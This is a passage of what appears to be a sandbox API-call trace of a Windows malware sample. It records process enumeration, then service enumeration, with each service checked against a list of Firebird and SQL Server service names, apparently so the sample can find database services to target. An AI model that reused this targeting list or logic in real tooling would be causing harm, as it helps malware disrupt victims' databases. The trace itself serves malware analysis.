lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.838] lstrlenW (lpString="svchost.exe") returned 11 [0289.838] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0289.838] lstrlenW (lpString="cmd.exe") returned 7 [0289.847] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0289.848] lstrlenW (lpString="conhost.exe") returned 11 [0289.848] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0289.848] lstrlenW (lpString="cmd.exe") returned 7 [0289.848] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0289.849] lstrlenW (lpString="conhost.exe") returned 11 [0289.849] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0289.849] CloseHandle (hObject=0x10d8) returned 1 [0289.849] Sleep (dwMilliseconds=0x1f4) [0290.430] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd7b0 [0290.431] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0290.431] GetLastError () returned 0xea [0290.431] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0290.432] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0290.432] CloseServiceHandle (hSCObject=0x7bd7b0) returned 1 [0290.433] lstrlenW (lpString="Appinfo") returned 7 [0290.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0290.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0290.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0290.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0290.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0290.433] lstrlenW (lpString="AppXSvc") returned 7 [0290.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0290.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0290.433] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0290.433] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0290.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0290.433] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0290.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.433] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0290.433] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0290.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0290.433] lstrlenW (lpString="Audiosrv") returned 8 [0290.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0290.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0290.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0290.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0290.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0290.434] lstrlenW (lpString="BFE") returned 3 [0290.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0290.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0290.434] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0290.434] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0290.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0290.434] lstrlenW (lpString="BITS") returned 4 [0290.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0290.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0290.434] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0290.434] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0290.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0290.434] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0290.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.434] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0290.434] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0290.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0290.434] lstrlenW (lpString="CDPSvc") returned 6 [0290.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0290.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0290.434] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0290.434] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0290.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0290.434] lstrlenW (lpString="ClickToRunSvc") returned 13 [0290.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.434] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0290.434] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0290.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0290.435] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0290.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.435] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0290.435] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0290.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0290.435] lstrlenW (lpString="CryptSvc") returned 8 [0290.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0290.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0290.435] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0290.435] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0290.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0290.435] lstrlenW (lpString="DcomLaunch") returned 10 [0290.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.435] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0290.435] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0290.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0290.435] lstrlenW (lpString="DeviceAssociationService") returned 24 [0290.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.435] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0290.435] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0290.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0290.435] lstrlenW (lpString="Dhcp") returned 4 [0290.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0290.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0290.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0290.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0290.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0290.436] lstrlenW (lpString="Dnscache") returned 8 [0290.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0290.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0290.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0290.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0290.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0290.436] lstrlenW (lpString="DPS") returned 3 [0290.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0290.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0290.436] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0290.436] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0290.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0290.436] lstrlenW (lpString="DusmSvc") returned 7 [0290.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0290.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0290.436] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0290.436] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0290.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0290.436] lstrlenW (lpString="EventLog") returned 8 [0290.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0290.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0290.436] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0290.436] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0290.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0290.437] lstrlenW (lpString="EventSystem") returned 11 [0290.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0290.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0290.437] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0290.437] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0290.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0290.437] lstrlenW (lpString="FontCache") returned 9 [0290.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0290.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0290.437] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0290.437] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0290.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0290.437] lstrlenW (lpString="gpsvc") returned 5 [0290.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0290.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0290.437] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0290.437] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0290.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0290.437] lstrlenW (lpString="iphlpsvc") returned 8 [0290.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.437] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0290.437] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0290.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0290.437] lstrlenW (lpString="KeyIso") returned 6 [0290.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0290.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0290.438] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0290.438] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0290.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0290.438] lstrlenW (lpString="LanmanServer") returned 12 [0290.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0290.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0290.438] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0290.438] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0290.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0290.438] lstrlenW (lpString="LanmanWorkstation") returned 17 [0290.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.438] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0290.438] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0290.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0290.438] lstrlenW (lpString="lfsvc") returned 5 [0290.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0290.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0290.438] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0290.438] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0290.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0290.438] lstrlenW (lpString="lmhosts") returned 7 [0290.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0290.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0290.438] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0290.439] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0290.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0290.439] lstrlenW (lpString="LSM") returned 3 [0290.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0290.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0290.439] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0290.439] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0290.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0290.439] lstrlenW (lpString="MpsSvc") returned 6 [0290.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0290.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0290.439] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0290.439] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0290.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0290.439] lstrlenW (lpString="NcbService") returned 10 [0290.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0290.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0290.439] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0290.439] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0290.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0290.439] lstrlenW (lpString="netprofm") returned 8 [0290.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0290.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0290.439] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0290.439] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0290.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0290.439] lstrlenW (lpString="NgcSvc") returned 6 [0290.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0290.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0290.440] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0290.440] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0290.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0290.440] lstrlenW (lpString="NlaSvc") returned 6 [0290.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0290.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0290.440] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0290.440] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0290.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0290.440] lstrlenW (lpString="nsi") returned 3 [0290.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0290.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0290.440] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0290.440] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0290.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0290.440] lstrlenW (lpString="PcaSvc") returned 6 [0290.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0290.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0290.550] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0290.550] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0290.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0290.550] lstrlenW (lpString="PlugPlay") returned 8 [0290.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0290.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0290.550] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0290.550] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0290.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0290.551] lstrlenW (lpString="Power") returned 5 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0290.551] lstrlenW (lpString="ProfSvc") returned 7 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0290.551] lstrlenW (lpString="RpcEptMapper") returned 12 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0290.551] lstrlenW (lpString="RpcSs") returned 5 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0290.551] lstrlenW (lpString="SamSs") returned 5 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0290.551] lstrlenW (lpString="Schedule") returned 8 [0290.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0290.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0290.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0290.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0290.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0290.552] lstrlenW (lpString="SecurityHealthService") returned 21 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0290.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0290.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0290.552] lstrlenW (lpString="SENS") returned 4 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0290.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0290.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0290.552] lstrlenW (lpString="ShellHWDetection") returned 16 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0290.552] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0290.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0290.552] lstrlenW (lpString="Spooler") returned 7 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0290.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0290.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0290.552] lstrlenW (lpString="SSDPSRV") returned 7 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0290.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0290.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0290.552] lstrlenW (lpString="StateRepository") returned 15 [0290.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0290.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0290.552] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0290.553] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0290.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0290.553] lstrlenW (lpString="SysMain") returned 7 [0290.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0290.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0290.553] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0290.553] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0290.553] lstrcmpiW 